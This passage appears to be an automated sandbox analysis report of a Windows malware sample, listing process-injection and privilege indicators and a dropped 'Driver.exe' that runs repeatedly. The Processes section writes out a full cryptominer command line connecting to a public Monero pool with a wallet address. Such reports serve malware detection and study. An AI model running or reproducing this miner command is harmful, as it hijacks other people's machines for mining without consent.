N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Suspicious behavior: RenamesItself

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1452 wrote to memory of 1424 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1424 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1424 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1424 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1816 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1816 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1816 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1816 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1800 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1800 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1800 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1800 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 924 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 924 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 924 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 924 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1860 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1860 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1860 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1860 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 780 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 780 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 780 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 780 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 572 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 572 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 572 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 572 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 324 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 324 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 324 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 324 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 408 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 408 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 408 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 408 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1452 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

Processes

C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe

"C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe"

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

